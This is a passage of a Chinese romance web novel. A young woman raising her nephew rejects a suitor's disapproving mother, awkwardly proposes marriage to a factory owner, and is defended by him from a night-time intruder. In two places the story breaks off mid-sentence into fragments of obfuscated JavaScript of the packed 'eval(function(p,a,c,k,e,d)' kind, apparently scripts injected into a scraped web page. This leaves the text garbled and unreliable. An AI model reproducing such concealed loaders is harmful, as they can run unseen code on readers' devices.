他回答得很快,几乎没有一点犹豫,她的情况他已经跟家里大概说过,他父母很喜欢小朋友,他也很喜欢小朋友,他会待小知言视如己出,至于别的闲言碎语,都是无聊之人的编排,他父母都是通情达理的人,他们从来不会信这些,让她不用担心。 沈云舒有些意外,更多的是隐隐的不安,不知道是不是她想太多,如果事情进行得异常顺利,她总觉得后面会有什么变故发生。 周六看完电影,在出来的路上意外碰到了林行简的父母,看起来像是偶遇,但林行简一张脸什么情绪都藏不住。 林行简的父母对她很热情,林母拉着她的手,左一个“小沈”右一个“小沈”地叫,沈云舒应付长辈还算有经验,不至于因为这样突然的见面就慌了分寸,林行简很喜欢这种合家欢的场面,他站在一边,留沈云舒一个人应对,脸上的笑倒是没停下来过。 顾松寒开着车经过,刻意放慢了些速度,他刚想叫醒副驾的人,却发现他哥不知道什么时候已经醒了,视线落在车窗外,神色平静,像是在看路旁的那几个人,又像是在思考什么严肃的问题。 顾松寒小声嘀咕,“我都跟你说了,相亲讲的就是一个速战速决,动作快的,一个月之内就能把媳妇儿娶进门,转年都能当上爹。” 冯远山靠着椅背,又闭上了眼,沉哑的嗓音略带疲倦,“你既然对相亲的流程这么清楚,回头让老太太也给你安排一场,争取让你明年就当上爹。” 顾松寒立刻投降,把嘴紧紧闭上,再不多说一句废话。 他现在根本摸不清他哥的态度,那天那通电话打完,他哥一点儿反应都没有,还骂他要是闲着没事儿干,就去工地上搬砖。 而且他已经回来好几天了,也没见他去找过嫂子一次,每天在工地一忙就忙到半夜,俩人实在是看不出像是有啥关系的。 但是,以他对他哥的了解,他可没那么多闲心平白无故地为谁出头,哪怕是再看刘盛强不顺眼。 顾松寒觉得自己就像皇帝身边的大太监,他在这儿急得都快冒烟了,当事人还淡定得不行,他心里一郁闷,扯着他那五音不全的破锣嗓子,唱起了歌。 “我的心是六月的情,沥沥地下着雨,想你想你想你,最后一次想你,明天你将成为别人的新娘,让我最后一次想你……” 沈云舒等那辆车开过去,提着的神经慢慢松下来,刚才她和他隔着车窗有短暂地对视上一眼,她也不知道为什么每次一见到他,她都有些没来由的紧绷。 林母挽上沈云舒的胳膊,亲热道,“小沈,你能不能陪我去这个电影院里面上个厕所,年纪大了,麻烦事儿有些多。” 沈云舒清楚这大概是有话要单独和她说,她点头应好。 林行简更是高兴,他就知道他爸妈肯定会喜欢她的,他已经开始想象以后其乐融融的家庭生活。 林母一进到楼里,就松开了沈云舒的胳膊,脸上堆着的笑也没了,沈云舒早有心理准备,没多少意外。 林母的话说得客气也不客气。 自从她找人打听清楚沈云舒的事情,她已经连着几宿睡不着觉了,作为一个母亲,她肯定是不接受沈云舒这样的儿媳妇,家庭条件不好,工作不好,在外面的名声更是乱七八糟,关键是还有一个拖累,小女孩也就算了,就是多张吃饭的嘴,偏还是个男孩子,沈云舒以后要是给他们老林家生不出孙子,那她儿子辛辛苦苦挣下的家业最后不全便宜了外人。 可抵不住儿子喜欢她,这些天就跟着了魔一样,完全考虑不到这些,他们老两口不想在儿子面前当坏人,也只能先同意让两个人先处处,万一的万一,最后他们真成了,她丑话先说到前头,老林家的根儿不能断,不管生几个,他们家肯定得要一个亲生孙子,罚多少钱他们都认。 沈云舒听着林母的一言一语,完全可以预见到结婚后的生活,一个性子软的丈夫,一个在儿子面前做好人,私下对她冷嘲热讽的婆母,她但凡说出来一句,大概就成了那个破坏他们家庭和谐的坏人,还得是个憋憋屈屈的坏人。 沈云舒笑了笑,对林母也客气道,“我跟您不太一样,我最喜欢小女孩儿,这辈子能有一个女儿就知足了。” 林母脸一沉,看她,“你什么意思?” 沈云舒回,“意思就是我没给您家当儿媳妇的打算,您今晚可以睡个好觉了。” 最后也算不上是不欢而散,林母在林行简面前懒得再对沈云舒摆什么笑脸装慈祥,借口身体不舒服,让林行简先把她送回家,林行简根本不知道发生了什么,只得匆匆和沈云舒告别。 沈云舒倒觉得今天和林行简父母的这出“偶遇”不是什么坏事儿,总比结了婚再闹离婚要好。 她推着自行车慢慢地走着,天气虽然有些阴沉,但街上很热闹,再过几天就要过阳历年,到处都是年节的喜庆,她有些融不进这种热闹里,穿过一条细长的小路,来到河边。 河对面不知道什么时候建了一排厂房,已经快建完了,一群工人在房顶热火朝天地铺水泥,这么大冷的天,有的人甚至光着膀子。 沈云舒站在河边看了好长一段时间,身上好像多了些干劲儿,她迎着夕阳的余晖,用力蹬上车,大家都在努力奔自己的生活,她这点事儿根本不叫什么事儿。 厂房的房顶,冯远山将手里燃尽的烟碾灭,也不知道那自行车跟她有什么仇,每次骑都像是和谁在较劲。 沈云舒骑到一个胡同的拐角处,碰到一小推车在卖豆腐,她脚支在地上停住车,让老板给她称块儿豆腐,回家就用猪油炖白菜粉条豆腐,小知言最爱吃这个。 不远处的墙角里有几个人在唠嗑,有墙挡在,看不到人,只能听见声音。 只听一年轻的女人道,“你们说那冯远山条件那么好,怎么会想不开,和沈家那位搞在一块儿。” 一年长的哼一声,“还因为什么,漂亮呗,要模样有模样,要身条有身条,就说那双眼睛,怕是那清心寡欲的和尚瞅一眼都得动了凡心,男人嘛,说到底,在乎的不就是那点事儿,我听说顾家还挺着急的,想最好在年前就把婚事儿给办了。” 那年轻的又插进话来,“顾家老太太之前不是一点儿都不着急她外孙的婚事儿吗,怎么突然转了性?” 年长的笑,“你们还不知道,前阵子顾老太太跟人干了一仗,据说是因为有人传闲话,说她那外孙一直不结婚是因为那方面不行,这种没法求证的事儿,不管真假,一旦传开了也得成了真的,到时候哪个姑娘肯嫁他,所以老太太肯定急。” 沈云舒付好钱,将豆腐放在车筐里,骑着车从她们身边经过,几个人看到她,蓦地止住话,你看看我,我看看你,脸上都有些尴尬。 反正她不尴尬,就是连着几个晚上都有些失眠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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方青萤认真跟她分析,“你看,首先一点,你婚后肯定是不和公公婆婆住一起,既不用伺候公婆,也不用受他们的气,退一万步说,就算是将来你和公婆之间有什么矛盾,我觉得依照冯远山那个脾气,你也不用担心他护不住你。” 她又道,“你以后想把机械厂的房子留给小知言,他肯定不会有意见,他在镇上就有自己的房子,在顾家老宅旁边,是当年顾老爷子给自己闺女置办的嫁妆,顾老太太都说了,你们结婚后,就住到那边去,机械厂的房子你可以先租出去,每个月能多个进项不说,也能远离陈美娜和张明达那两口子,你还没受够他俩?到时候你就租给一个彪形大汉,吓都能吓死他们,让他们没事儿还敢作什么妖。” 沈云舒被逗笑,又默了好一会儿,犹豫道,“让我再想想。” 她想了两天也没想好,第三天下了班,不知道是被冷风给激的,还是前一晚没睡好,导致脑子犯糊涂,她骑着车直接到了两个人相亲的那个小饭馆。 饭馆里人很多,她在外面隔着窗户,看不清里面的人,他要是这里的常客的话,今晚没准儿也会在,她也不知道自己是希望他是在好还是不在好。 春水看到她,小跑着出来,高兴道,“姐,您怎么不进来,冯大哥刚打电话说一会儿就到。” 冯远山晚上在这边有饭局,春水还以为沈云舒是和他一起的。 沈云舒握着车把的手一紧,回得尽量淡定,“我不进去了,我只是路过,春水小哥,我还有事就先走了,下次再聊哈。” 话音刚落,一脚蹬子已经蹬出去了好远。 春水被沈云舒弄得有些糊涂,他摸着自己的后脑勺刚要回饭馆,冯远山的车停在了台阶前,春水忙指着沈云舒骑远的背影对下车的冯远山道,“冯大哥,嫂子刚来过了,她好像是要找您,又好像不是来找您,我一说您待会儿要来,她马上就骑车跑了。” 冯远山远远地看着她快要蹬成风火轮的车蹬子,轻扯了下唇角。 她这次这车骑得倒不像是在和谁较劲儿,而是像身后有什么猛虎野兽在追她。 7.第 7 章 沈云舒那天纯属头脑发热,冷静下来以后,后悔得都想撞墙,她就算再着急结婚这件事,也不该找上他。 阳历年这天是周日,小知言不去学校,她也休班,这些天她一直忙着赶活儿,都没怎么好好陪过他,上午她带着他来了河边,河面上的冰已经冻得很厚,她知道他早就想来玩滑冰,今天可以想玩多久就玩多久。 小知言都要开心疯了,一开始还需要她在后面推着他滑,慢慢地,他都可以自己掌握住方向,现在时间还早,河面上只有他们,沈云舒不用一直护在他身后,她站在岸边,视线不离他左右。 小知言滑得正开心,一张小脸儿突然严肃下来,沈云舒看一眼走到她身边的人,神色不变地对小知言道,“你继续滑,我和你时礼叔说会儿话。” 周时礼把手里提着的东西给小知言看,“小知言,时礼叔给你带了礼物,你最喜欢的玩具。” 小知言沉着脸,把头撇到一边去,他才不要他的礼物,他也不是他的时礼叔了。 周时礼被甩了冷脸也不觉尴尬,他对沈云舒解释道,“我来给小知言送生日礼物,他生日那天我应该来不了。” 沈云舒发现他这人可真有意思,她都不知道他的脸皮现在已经厚到了这种地步,他到底是怎么做到跟什么都没发生一样,走到她面前,说出这样一番话。 她看着他,认真问,“是我失忆了吗,还是你脑袋进开水了?” 周时礼脸上的笑再维持不下去,他顿了顿,问道,“你和……冯远山在一块儿了?” 沈云舒平静回,“这应该和你没任何关系。” 周时礼道,“他不是什么好人,上学的时候就爱打架,我还听人说过他当初在广州干过的一些事情,他跟你不是一路人。” 沈云舒都要被气笑了,“他不是好人,你是?” 周时礼沉默片刻,又道,“你要是想买下那个房子,我可以给你找人,肯定能把那个资格给弄下来。” 沈云舒截住他的话,“不需要。” 她之前觉得哪怕他们的结束闹得再难堪,至少应该还有一点共同的认知,那就是分开后互不打扰,看来她对他真的是一点儿都不了解,她都不知道是她以前眼瞎,还是他隐藏得太深。 今天索性一次性把话讲明白,她看他,“我们以后见到面还是当做不认识的好。” 周时礼艰难开口,“我答应过你哥,会照顾好你,我现在不能眼看着你往火坑里跳。” 沈云舒彻底冷下脸来,她顾忌着小知言,压下声音,“滚。” 小知言看出小姑的脸色不对,他从滑冰车上下来,小跑过来,用小小的身子把小姑护在身后,奶声奶气的声音凶起来也很有气势,“不许你欺负小姑!你走!” 沈云舒怕吓到他,弯腰将他抱到怀里,温声安抚,“没事儿哈,我们没吵架,有小知言在,谁都欺负不了小姑。” 小知言还很凶地瞪着周时礼,“对,我可以保护小姑。” 沈云舒不管周时礼,抱着小知言去拿不远处的滑冰车,“累了吗?我们要不要去趟菜市场,小姑想吃糖葫芦了。” 小知言的注意力被转移开,他看回沈云舒,“我有压岁钱,小姑,我们回家去拿,给你买糖葫芦,小姑想吃几串买几串。” 沈云舒笑,“我们小知言真厉害,都有钱给小姑买东西吃了。” 小知言搂上沈云舒的脖子,“小姑,我会越来越厉害的。” 沈云舒回,“小姑知道。” 小知言憋在眼里的泪噼里啪啦地掉了下来,他不想让小姑看到,把脸闷在到小姑脖子里,他刚才其实有些害怕,怕他保护不了小姑,他要是真的能变得很厉害就好了。 沈云舒拿下巴蹭蹭他毛茸茸的小脑袋,心里恨不得将周时礼给千刀万剐,他下次再敢凑过来,她就直接甩他一巴掌,她看就是因为之前没打他,让他觉得她太好性子了。 小知言不难哄,她开心了,他也就开心了,姑侄俩手拉着手走在街上,一人吃着一串糖葫芦。 沈云舒又到肉铺买了块肉,还买了点大骨头棒,中午拿腌的酸菜炖大骨头吃,晚上就包饺子,他们已经有大半个月没吃饺子了,小知言一听她说要包饺子,眼睛都弯成了月牙,沈云舒刮刮他的小鼻子,也弯眼笑。 也来买肉的顾老太太看着这一幕,心都要化了,沈云舒抬眼看到顾老太太,稍微愣了下,又笑着道,“您来买肉?” 顾老太太也笑,“对,这不阳历年吗,有人晚上想吃饺子,好不容易求我一次,我怎么也得满足。” 沈云舒知道老太太可能是误会了什么,但她说得语意不详,她也不好否认或者解释什么,只能笑笑。 街上传的那些顾老太太自然都听说了,虽然她几次问远山,他都一口否决,只说都是瞎传,他俩什么事儿都没有。 这话搁之前她肯定信。 但自己从小养大的孩子,他什么脾气秉性,她这个老婆子最清楚不过,他做事一向沉稳,不会只顾眼前,不想以后,他不是不知道在大庭广众之下给一个姑娘出头,会招来怎样的闲话,可他还是做了。 要说这里面真没什么,那就是拿她当小孩儿哄了。 小知言将嘴里满满的糖葫芦咽下去,指着地上的葱,对顾老太太道,“奶奶,您的葱掉了。” 他说着话已经走过去,把地上的葱捡起来,递给顾老太太。 顾老太太弯腰接过葱,和他视线平行,笑得和蔼可亲,“你就是小知言吧?谢谢你呀,奶奶都不知道葱掉了。” 小知言礼貌回,“我是小知言,奶奶,您怎么知道我的名字?” 顾老太太道,“因为奶奶和你小姑认识,你小姑说她家有一个很可爱的小朋友,奶奶今天终于见到这个可爱的小朋友了。” 小知言反应过来顾老太太的话,小脸蛋慢慢起了红,他抬头看小姑一眼,对顾老太太害羞道, “奶奶也很可爱。” 顾老太太没忍住,哈哈大笑起来,她这辈子还是第一次被人说可爱。 沈云舒唇角也扬起些笑,也是奇怪,小知言性子算是认生的,平时碰到不认识的人,就爱往她身后躲,他和顾老太太好像有些意外的投缘。 一辆装废纸箱子的脚蹬三轮车晃晃悠悠地骑过,一摞纸箱子没扎紧,眼瞅着要掉,沈云舒最先注意到,她两步冲上去,将顾老太太和小知言护住,纸箱子擦着她的胳膊砸到了地上。 顾老太太吓了一跳,忙起身看她,“砸到哪儿了,我看看。” 小知言紧紧揪住她衣服的下摆,眼巴巴地看着她,眼里又浸出了泪花,“小姑,疼不疼?” 沈云舒揉揉他的头发,也对顾老太太说,“哪儿都没砸到,就碰了一下胳膊,什么事儿都没有。” 她说着话,还甩了甩胳膊给他俩看。 三轮车的主人是个孕妇,肚子看着得有六七个月大了,她被路人提醒赶紧停住车,神色慌张地下来看,沈云舒帮她把车重新系紧,就让她走了,孕妇又道歉又道谢。 顾老太太拉着小知言走到沈云舒身旁,有些担忧地看她,“真没事儿哈?” 沈云舒摇头笑,“真没事儿,那纸箱子也不重。” 就算不重,那么摞纸箱子要是直接砸到她一个老婆子身上,她现在也得进了医院,人姑娘这是救了她一命。 顾老太太急匆匆地回到家,一个电话打到了工厂,工厂里的人说冯老板不在,出去开会去了。 说是开会,其实是饭局,镇上有头有脸的人都到了,冯远山和周时礼前后脚,到的最晚,只剩两个挨着的位置,冯远山从容落座,周时礼也只能坐在他旁边。 一位是县领导面前的红人,一位是政府重点扶持的工厂老板,又都是好皮相,自然招人眼,桌上又有好些人听过一些闲话,更是把注意力都放在了这俩人身上。 但两个人之间好像也看不出什么不对劲儿,时不时聊上几句公事,至少没有冷场,那些擎等着看好戏的也歇了心思,看来街上那些传言,还真是没一句可信的。 酒过三巡,桌上的人醉了大半,周时礼没多少酒量,早就喝多了,又不想在冯远山面前失态,只能强撑着,他撑着快要裂开的头闷了一会儿,转头看冯远山,含糊道,“你和她不合适。” 冯远山一顿,唇勾起,面上有笑,眼底冰冷,“合不合适就不劳周秘书来操心了。” 周时礼还要说什么,冯远山面无表情地扬手招来服务员,“给周秘书上壶热茶,他喝多了。” 周时礼被这么一打断,冲到头顶的酒劲儿也下去了些,他及时止住话,又端起桌上还剩的半杯酒慢慢喝了起来。 冯远山懒得再搭理他,拿着烟,起身离了桌。 走廊里,几个人上了趟厕所,散了散酒,又勾肩搭背地往回走。 有人大着舌头道,“那冯老板年纪轻轻的,也是够硬气,借着是开车来的,说不喝酒就不喝酒,镇长来敬也是照推不误。” 有人接话,“所以人家才能干成大事儿,刚一开始谁都说他那工厂根本成不了,想看笑话儿的有多少,现在不全都上赶着巴结上了。” 又有人压低声音问,“冯老板跟周大秘之前那位的事儿,到底是真的还是假的?” 一人斩钉截铁道,“我觉得不太可能,甭管是男人看女人,还是女人看男人,就跟吃饭一样,都是有口味儿偏好的,他俩完全不是一个类型,这要是搁戏文里唱的,一个是白面书生,一个是强悍勇猛的大将军,会看上周大秘的人,肯定不能喜欢冯老板,相反,能喜欢上冯老板的人,也肯定不会看上周大秘。” 另一个人很是赞同这番话,连连点头,“对,我就喜欢吃面条,不喜欢吃米饭,别管是多好的大米,我也不爱吃。” 有人回,“我怎么面条米饭都喜欢吃。” 其他人笑骂他,“所以你才一肚子花花肠子。” 窗外的风穿过半敞的纱帘吹进来,冯远山倚墙而立,姿态懒散,指间夹着的烟燃成灰烬,被风一吹,掉落到地上。 街上响起清脆的自行车铃声,还夹杂着女人欢快的笑声。 冯远山慢慢眯起眼,看着同骑一辆自行车的一男一女,嗤了声,她喜欢的口味儿确实都是同一款。 高瘦,白净,还都爱脚踩两只船。 冯远山将烟掐灭,扔到垃圾桶,去前台把账给结了,又回到包厢和镇长打了声招呼,借口有事情先撤了,这饭局也没多大意思,还不如回家听老太太的唠叨。 只是刚进到家门,脚还没踏进屋,又被老太太给轰了出来,还塞了他一堆东西。 肉丸子、酱牛肉、卤鸡腿,他从广州给她老人家买回来的进口巧克力,还有两套小朋友的玩具,让他赶紧上门探望一下他们老顾家的救命恩人。 顾老太太的原话,要不是云舒今天救了我这把老骨头一命,你现在回来就直接跪灵堂了。 这样没有忌讳的话,要是老爷子还在,指定要敲着拐杖蹦三尺高,让老太太把话原封不动给咽回去。 冯远山将东西扔在副驾,开着车直接回了工厂,车停下,他的手搭在方向盘上,好一会儿没动。 顾松寒站在台阶上,远远地看着他哥的车开进来,还没停稳,拐了个弯,又给开走了,他啃一口甘蔗,不明白他哥这是搞的哪一出。 正值晌午,街上没什么人,冯远山的车一进到胡同,就看到一纤柔 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沈云舒摆手坚决不收,“这太贵重了,您还是带回去吧。” 不说别的,就光那巧克力,她在商场里见过一次,价格不是一般的贵。 冯远山将东西放到窗台,不容拒绝的语气,“是给家里小朋友的,老太太很喜欢他。” 沈云舒见推辞不过去,在心里盘算了一下这堆东西大概要多少钱。 冯远山看着她的眼睛,半晌,开口道,“春水说你找过我。” 沈云舒一愣,马上否认,“没有。” 冯远山点点头,表示知道了,也没有追问的意思。 两个人谁都没再说话,冬日午后的阳光洒落下来,给小院铺上了一层暖绒绒的光。 院墙外传来些动静,有人扬声道,“云舒在家吗?” 是国强婶儿,她那张嘴最厉害,假的也能说成真的,要是让她看到有男人在她家,明天指定要传成她在家和男人胡搞了。 沈云舒一着急,来不及和他说什么,掀开门帘,直接把他推进了屋,又把窗台上的东西也塞给了他。 冯远山没想到她人看着没几斤重,力气倒是不小,里屋隐隐传来小朋友的哭声,他迟疑一秒,把东西放到旁边的柜子上,掀帘进了里屋。 炕头睡着一个小男孩儿,大概是做了什么噩梦,冯远山站在炕边,轻拍上他的背,小知言感觉到了气息的靠近,慢慢止住了哭,他把冯远山当成了小姑,紧攥住他的手窝到自己怀里,又睡了过去。 院子里女人尖锐的声音传了进来,小知言又不安地哽咽两声,冯远山另一只手拍上他的背,听着女人高高低低的话,眉头深蹙起。 国强媳妇儿来找沈云舒是给她说亲的,她娘家妯娌的亲弟弟。 比沈云舒大十岁,头婚离了,有一个儿子,跟着男方,虽说是二婚,但男方条件好呀,家里在南边做生意,光在县城的房就有好几套,那可都是新建的那种什么商品房,可值钱了,有结过婚的经验也不是坏事儿,更知道怎么疼人。沈云舒这边呢,从小知言满月,她就开始带他,早就有了当妈的经验,嫁过去给人当后妈也不用磨合,两个人再合适不过,不结婚老天爷都看不过眼去。 沈云舒没等她说完就拒绝了,她知道这个人,又家暴又在外面乱搞。 国强媳妇儿一听沈云舒说不行,就立马有些挂脸,也不看看自己在外面都是什么名声,有人给你介绍就不错了,还在这儿挑三拣四。 沈云舒知道她在想什么,她直接拒绝到底,“我有在相着的人了,婶子以后就不用给我费心了。” 国强媳妇儿皮笑肉不笑,“呦,哪家的小伙子这么有福气,你说说你,瞒我们瞒得这么紧,我为给你找个好婆家,还着急上火的不行。” 沈云舒只拿话打发她,“等要是成了,肯定请您吃喜糖。” 国强媳妇儿套了半天话也没套出什么来,最后也只能不甘心地悻悻离开。 沈云舒关上院子门,提着水桶进了屋,外屋没有人,她掀开里屋的门帘,微微怔住。 他站在炕前,一下一下地拍着小知言的背,沉默的侧脸透着沉稳和认真。 冯远山转头对上她的视线,低声解释,“他刚做噩梦了,一直哭。” 沈云舒回过神,放轻声音,“他睡觉是有些不踏实,”她走过去,也拍上小知言的背,对他道,“我来就行。” 冯远山刚动了一下,小知言感知到什么,嘴一瘪,哼哼着又要哭,攥紧他的手不肯放,沈云舒哄也不管用,小知言好像就认准了冯远山这只手。 她有些急,鼻尖上都出了一层薄薄的汗,俯下身,想把小知言给叫醒。 冯远山看她,“就这样吧,等他醒,我也不赶时间。” 沈云舒默了默,转身给他搬来一个凳子,又端来一杯水,她走到炕的另一头,拿起炕沿上刚收进来的衣服,一件一件地叠好,放进柜子里,又走去外屋。 屋子里安静也不安静,没有谁说话的声音,只有砂锅冒出的咕嘟声,还有她轻微的脚步声。 一会儿提着水桶将水倒进了水缸,一会儿又走到炉子前,掀开砂锅盖,看了看砂锅里的骨头汤,一会儿又朝着里屋走过来。 但只停在了屋门口,没有再往里走。 许久。 沈云舒隔着一道门帘叫他,“冯大哥……” 冯远山掀眸看过去,门帘厚重又严实,他看不到她的人,只能听见她的声音。 又过许久。 她问,“你要不要和我结婚?” 8.第 8 章 冯远山伸手要掀门帘。 沈云舒紧扥住门帘的一边,不想让他们之间的这层阻隔消失,她要是对上他的目光,她怕她说不出下面的话。 冯远山看到她轻颤的指尖,心头微动,手上又松了力道。 沈云舒松一口气,她平稳住声音,试着开口,“我的情况,你大概也了解一些,我只剩我小侄子这一个亲人,他以后肯定要跟我一起生活,这一点是怎么都不会变的,我现在在机械厂上班,平时也会接一些做衣裳的活儿,要是结婚,他的开销你不用管,我自己能够承担,你的收入我也不会插手,至于家里平时的生活费用,我们可以均摊。” 冯远山眸光里微不可见的波澜消失殆尽,又恢复到平静的冷淡,他看着门帘,问得漫不经心,“夫妻之间需要算得这么清楚?” 沈云舒回,“我不能让你吃亏。” 冯远山直接扯开门帘,沈云舒猝不及防对上他的黑眸,目光瑟缩了下,又逼着自己不能闪躲。 四目相对,连安静都有些凝滞。 冯远山语气温和,眼神却像是能精准地看透她的心底直至深处,“是不想让我吃亏,还是现在随便抓住一个还算合适的人,着急先把婚结了,房子到手才是重要的,至于对方是谁,在你这儿没有太大的区别,结婚以后,也不打算交心,日子就糊弄着过,反正过不下去也可以离,这样,就算到时候分开,我们之间的账也清清楚楚,你不欠我,我也不欠你。” 沈云舒脸上的血色霎时退了个干净,她想否认,唇张了张,又闭上,半晌,又开口,“我--” 嗓子异常干涩,只说了一个字,就再说不下去,她指甲掐进掌心的肉里,眉眼低垂下,连绷直的肩膀都耷拉下来。 她好像……给搞砸了。 冯远山看着她,眼底的温度被寒凛覆盖。 炕上的小知言翻一个身,迷迷糊糊地叫着“小姑”,沈云舒忙走进来,小知言睁开眼,模糊的视线里看到一个陌生的男人,刚要哭,又看到小姑,强忍下眼泪,伸出胖乎乎的小胳膊,要小姑抱。 冯远山俯身直接将他从炕上抱起来,沈云舒怕小知言会闹,想止住他,小知言刚睡醒的时候很容易不安,除了她,他是不肯让别人抱的。 但小知言只挣了一下,他闻到冯远山身上的气息,又安静下来,靠在他怀里,有些害怕又好奇地看着眼前这个男人。 冯远山任他打量着,面无表情地给他擦掉小脸蛋儿上挂着的泪。 小知言伸出手,小心翼翼地碰了下他的手背,眼里的不安少了些,他抽噎着问,“叔叔,刚才梦里有个大怪兽追我,是您帮我打跑了它吗?” 冯远山将他软乎乎的小手拢在掌心,捏了捏,“应该算是。” 小知言感觉到熟悉的力道和温度,睁大了眼睛,他转头看沈云舒,“小姑,叔叔可厉害了,他帮我打大怪兽,一下就能把它们踹好远。” 沈云舒强撑起些精神,顺着他的话回,“是吗,我都不知道叔叔有这么厉害。” 小知言搂上冯远山的脖子,“叔叔,小姑不知道您的厉害。” 冯远山冷声道,“你小姑不知道的还有很多。” 沈云舒睫毛微滞,在他淡漠的目光里转开眼,她拍拍小知言的小屁股,“好了,快下来,叔叔还有事情要忙,得走了。” 小知言虽然有些不舍,但他不能耽误叔叔忙事情,他看冯远山,“叔叔,您什么时候再来?” 他想和叔叔学怎么打大怪兽,他要保护小姑。 冯远山只道,“等叔叔有时间。” 小知言认真看他,“您保证。” 冯远山冷薄的唇角扬出笑,像冰封的雪山融进了一点温暖的光,他也认真回,“我保证。” 沈云舒看着他的笑,眼神又有些怔。 小知言似乎对冯远山很好奇,他都走了好长时间,还一个劲儿地问有关他的各种问题。 沈云舒给他擦了擦鼻尖上蹭到的油,“小知言怎么那么喜欢那个叔叔,你今天才第一次见他。” 小知言咽下嘴里的肉,“因为小姑让他进屋了,他要是对小姑不好的人,小姑不会让他进屋。” 小姑从来就不让隔壁住的那两个人靠近他们屋子半分,也不让国强奶奶进他们屋,现在更不会让时礼叔进他们屋,他们都是对小姑不好的人。 小知言有自己的一套理论,“他对小姑好,我就喜欢他,我也会对他好,他要是对小姑不好,我就不要理他。” 沈云舒眼睛有些泛酸,她揉揉他的头发,“小鬼灵精。” 小知言咯咯笑开,“小姑,他是我以后的小姑父吗?” 沈云舒愣住,想到刚才他头也不回地走出去的背影,勉强笑,“不是。” 她否认不了他全部的话,结婚的对方是谁,对现在的她来说确实不是最重要的,她也不是没想过两个人要是走不去就分开的可能,就算离婚,她和小知言也有了自己的房子,不会无路可走。 他肯定不喜欢被她这样算计,她其实也没想着要算计他,她只是有些病急乱投医,胡乱抓住了身边唯一可以抓的一根稻草,也不怪他会生气,他直接戳穿了她,大概也没想着给他们之间留余地。 冯远山确实没打算留什么余地,她那些话根本不是在说结婚,她只是想找一个人搭伙过日子,过下去就过,过不下去就散。 他不知道他是第几个让她开口说结婚的男人,但要是商量结婚的人是周时礼,她肯定不会和他算得这样清。 从一开始他就很清楚,她不是一个适合结婚的对象,确实漂亮,还不是一般的漂亮,眼睛笑或不笑,都带钩子,像妖精。 妖精都是没有心的。 她或许曾经有,但已经被她扔在了那场大雪里,所以现在哪一个男人对她来说都无所谓,他今天没点头应她结婚的事情,没准儿明天她就能找到下一个目标,后天就把婚给直接结了。 她绝对能干出这种事儿。 冯远山冷着脸将筷子“啪”一下放到桌子上,起身直接离桌。 顾松寒看他,“这就不吃了?你不吃这盘饺子可就全归我了。” 冯远山没搭理他,走到衣架旁,取下外套搭到胳膊上,对在厨房的顾老太太道,“我出去一趟。” 顾老太太追出来,“这么晚了去哪儿?” 冯远山只回,“有点儿事。” 说着话,人已经大步出了屋。 顾松寒问,“我哥今天这是咋了?下午回了工厂,心情差得就不行,谁都不敢招他。” 顾老太太眼底藏着看透一切的笑,“可能是年纪大了内分泌失调,容易阴晴不定。” 顾松寒怎么觉得这症状像当初医生诊断他爸的更年期,男人要是更年期起来,简直要人命。 沈云舒心里堵着事儿的时候,一点儿都不想让自己闲下来,天还没黑就早早包好了饺子,晚饭吃完,她先给小知言洗了个热水澡,把他拾掇好,送进被窝,给他拿了本小人儿书让他看。 她将浴桶里的水换成干净的,又去院门口检查了一遍门有没有锁好,陈美娜他们周日晚上一般都住她娘家,这个点儿还没回,应该就是不回了。 她回到屋里,将门也锁好,准备泡一个澡,镇上有澡堂,但她不方便带着小知言一起进去,基本都在家里洗。 沈云舒刚散开挽起的头发,院子里隐约传来些动静,像是有人在弄门锁,她先关掉屋子里所有的灯,快步走到窗前,掀开窗帘,盯着院门口仔细地看,真的有人在弄锁。 他们这儿在胡同的最里面,天一黑就少有人过。 好在小知言已经睡着了,不会吓到他,沈云舒给他掩了掩被角,穿好外套,关严里屋的门,又把吃饭的桌子推到外屋的门后,拿起菜刀,抵住桌子,时刻听着着院子外的动静。 才九点不到,这个点儿应该不是小偷,难道是张明达? 之前就有一次,也是他跟着他媳妇儿回娘家的日子,大晚上他一个人回来,想翻墙进院,被喝酒晚归的黄大爷给撞上,他狡辩说是她早早地就锁了院门,他敲不开才翻墙的,可她睡觉很浅,院里稍微有点响动,她就能醒,他要是敲门她不可能听不到,从那晚起,她的枕头下面除了剪刀,又多压了把菜刀。 院门口咣当一声,好像门的锁被撬开了,沈云舒从门缝里看出去,夜色太暗,什么都看不太清,她的神经达到极度紧绷的状态。 外面突然响起一声压着声的惨叫,紧接着又是“咚咚”的跑步声,一条腿扯着另一条腿,越来越远,这是跑了吗? 她还没来得及松一口气,有人推门进了院子,她不确定进来的是谁,个子模糊看着很高,张明达又瘦又矮,她或许能对付,要是别人,她不知道会怎么样。 脚步声离她越来越近,停在门口,沈云舒屏住呼吸,将手里的菜刀攥紧,屋门被轻叩两下,低沉的声音传进屋内,“沈云舒。” 沈云舒怔了下,颤着嗓音确认,“冯大哥?” 冯远山道,“有人撬了你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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冯远山将她那把菜刀从她手里拿下来,放到窗沿,“我有说过拒绝?” 沈云舒直视他的眼睛,“沉默就是拒绝。” 冯远山锁着她的目光,“那是因为我决定和谁结婚,那个人对我来说不是随便的谁,我结婚也不是奔着离婚去的。” 沈云舒一顿,不知道是不是被今天一件又一件的事儿给压的,眼底慢慢涌上来些无法抑制的潮气,她偏开视线,不愿意让他看到她的软弱,想硬起声音,可话说到最后,还是泄了自己的一点委屈,“我也不是呀。” 冯远山看她,沉声问,“不是什么?” 沈云舒仰起头,又看回他,“我不会随随便便让谁进我的屋子,我也不会随便和谁说要结婚,我也没打算糊弄过日子,我就不是一个会糊弄过日子的人,您不该随随便便揣测我,还把我想得那样坏。” 冯远山看着她渐红的眼眶,眸光深了几分,“是我把你想得坏吗,我说对了你几句,你自己心里清楚。” 沈云舒飞快地擦掉眼里掉下的泪,别开脸,避重就轻,“反正我不是随便抓一个人就说要结婚的,您是第一个。” 冯远山冷哼,“那还是我的荣幸了?” 沈云舒气自己一掉就止不住的泪,也气他非要将她从头到尾扒个干净,更气让他看到她这幅样子,她使劲抹一把脸,囔着鼻音破罐子破摔,“您觉得是就是吧。” 